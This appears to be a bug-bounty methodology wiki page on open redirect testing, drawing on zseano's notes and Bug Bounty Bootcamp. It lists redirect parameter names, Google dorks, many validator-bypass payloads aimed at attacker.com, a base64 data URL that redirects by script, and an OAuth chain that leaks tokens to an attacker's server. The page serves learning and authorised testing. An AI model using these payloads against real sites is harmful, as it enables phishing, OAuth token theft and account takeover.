====== Open Redirect Testing ====== Very easy to find, and chains effectively with OAuth for token theft leading to account takeover. ===== Common Parameter Names ===== return, return_url, rUrl, cancelUrl, redirect, goto, returnTo, returnUrl, r_url, redirectTo, redirectUrl, dest, continue, next, window, back ===== Payloads ===== \/attacker.com \attacker.com //attacker.com //theirsite@attacker.com /\/attacker.com https://attacker.com%3F.theirsite.com/ ////attacker.com /%0D/attacker.com /%2F/attacker.com /%5Cattacker.com //google%E3%80%82com **Encoding tip:** Always encode ''& ? # / \'' as ''%26 %3F %23 %2F %5C'' to force the browser to decode after the redirect, bypassing server-side filters that check the raw string. ===== Finding with Google Dorks ===== site:target.com inurl:redirect= site:target.com inurl:return_url= site:target.com inurl:goto= ===== OAuth Token Theft Chain ===== /login?client_id=123&redirect_url=https://target.com/oauth/callback?goto=https://attacker.com/ The OAuth token is appended to the redirect URL. If the redirect goes to an attacker-controlled domain, the token lands in the attacker's server logs = account takeover. ===== Bypass Techniques ===== * **Browser autocorrect** -- ''///attacker.com'' may be normalized by the browser * **Flawed validator logic** -- validator checks only if their domain is a substring: ''https://attacker.com?x=theirsite.com'' * **Data URLs** -- ''data:text/html;base64,...'' * **URL decoding** -- try encoded slashes ''%2F%2Fattacker.com'' * **Combining techniques** -- chain encoding + partial domain match ===== Escalation ===== * Chain with OAuth: redirect_uri bypass = token theft = account takeover * Use as SSRF bypass -- open redirect on target used to reach internal services * Phishing -- bounce through trusted domain to attacker page ===== See Also ===== * [[zseano:ssrf|SSRF Testing]] * [[zseano:escalation|Bug Chaining]] * [[tbhm:04_authorization|TBHM Auth & Session]] * [[zseano:start|Methodology Index]] ====== BBC Ch 7: Open Redirects ====== //Merged from Bug Bounty Bootcamp Ch 7 by Vickie Li// ===== How Open Redirects Work ===== Sites often redirect users after login, logout, or payment to a URL specified by a parameter or the Referer header. When the destination is not validated, an attacker can redirect the victim to an arbitrary site. Two mechanisms: **Parameter-based:** https://example.com/login?redirect=https://example.com/dashboard Change the redirect value to an attacker-controlled host and the site sends the user there. **Referer-based:** The application reads the HTTP Referer header to determine where to redirect after an action (login, form submit). Host a page on your server that links to the target -- when the user clicks through, the Referer is set to your server, and the app redirects to it after login. ===== Prevention ===== Sites use URL validators to allow only redirects to approved destinations. These use blocklists (reject known-bad patterns) or allowlists (accept only approved destinations). Both are hard to implement correctly and both have well-known bypasses. ===== Hunting for Open Redirects ===== ==== Step 1: Find Candidates ==== In Burp proxy history, search for these parameter names: redirect redir redirect_uri redirect_url next return return_to returnTo destination dest forward url uri go goto to Also watch for 301/302 responses on pages that don't have a redirect parameter -- those are referer-based candidates. Check the page that caused the redirect and whether changing the Referer changes the destination. ==== Step 2: Google Dorks ==== inurl:%3Dhttp site:example.com inurl:%3D%2F site:example.com inurl:redir site:example.com inurl:redirect site:example.com inurl:redirecturi site:example.com inurl:redirect_uri site:example.com inurl:redirecturl site:example.com inurl:redirect_url site:example.com inurl:return site:example.com inurl:returnto site:example.com inurl:return_to site:example.com inurl:goto site:example.com inurl:next site:example.com ==== Step 3: Test Parameter-Based ==== Replace the redirect value with an external hostname. If the response is a 302 Location to your host, it is vulnerable. If the app validates the domain, move to bypass techniques. ==== Step 4: Test Referer-Based ==== Host a simple HTML page on a server you control that links to the target page: click Click the link. If the app redirects you to your server after login, the Referer header is being used as the destination without validation. ===== Bypassing URL Validators ===== ==== Browser Autocorrect ==== Browsers normalize unusual URL syntax before sending. Use these to fool validators that parse the raw string: https:attacker.com https;attacker.com https:\/\/attacker.com https:\attacker.com ==== Backslash Normalization ==== https:\attacker.com Some browsers normalize backslashes to forward slashes, so the above becomes ''https://attacker.com''. Validators may see a backslash and reject it as non-URL, but some pass it through. ==== @-Sign Trick ==== URLs allow a username before the host with ''@''. A validator checking for "starts with example.com" is fooled: https://example.com@attacker.com https://attacker.com\@example.com The browser connects to ''attacker.com''; everything before ''@'' is treated as credentials. ==== Flawed Allowlist Logic ==== If the validator checks that the URL **contains** the allowed domain: https://example.com.attacker.com https://attacker.com/example.com https://attacker.com#example.com If the validator checks that the URL **starts with** the allowed domain: https://example.com%252f@attacker.com/example.com Double encoding: ''%25'' decodes to ''%'', so ''%252f'' decodes to ''%2f'' (a forward slash). After one decode pass the validator sees ''example.com%2f@attacker.com'' and may approve it. The browser then performs a second decode and connects to ''attacker.com''. ==== Data URLs ==== data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iOzwvc2NyaXB0Pg== The base64 content decodes to: Data URLs execute in browser context. If the validator accepts ''data:'' URLs, this is both a redirect and an XSS vector. ==== URL Decoding Exploits ==== * **Double encoding** -- encode a character twice: ''%252f'' -> first pass ''%2f'' -> second pass ''/'' * **Non-ASCII bytes** -- ''%ff'' and other high bytes may pass validators that only check for known-bad ASCII * **Unicode lookalikes** -- Unicode characters that visually resemble ASCII but have different code points; validators may miss them ===== Escalating the Attack ===== Open redirects on their own are low severity. They become high severity when chained: * **Phishing** -- send victims to a clone of the target site to harvest credentials. The URL starts with the legitimate domain, making it convincing. * **SSRF chaining** -- if an SSRF vulnerability follows redirects, an open redirect on an allowed host can be used to reach internal services. The SSRF check approves the allowed host; the redirect sends the request to an internal IP. * **OAuth token theft via Referer** -- if a redirect happens after an OAuth authorization step, and the Referer header is sent to the attacker-controlled redirect target, the OAuth code or token leaks in the Referer to the attacker's server logs. ===== 5-Step Checklist ===== - Search proxy history for redirect parameters and 301/302 responses without explicit redirect params. - Run Google dorks to find additional redirect parameter occurrences in indexed URLs. - Test parameter-based: replace redirect value with an external URL. Check the response Location header. - Test referer-based: host a page linking to the target, browse via your page, observe where you land. - If validation is present, attempt bypasses: browser autocorrect syntax, @-sign, allowlist logic errors, double encoding, data URLs.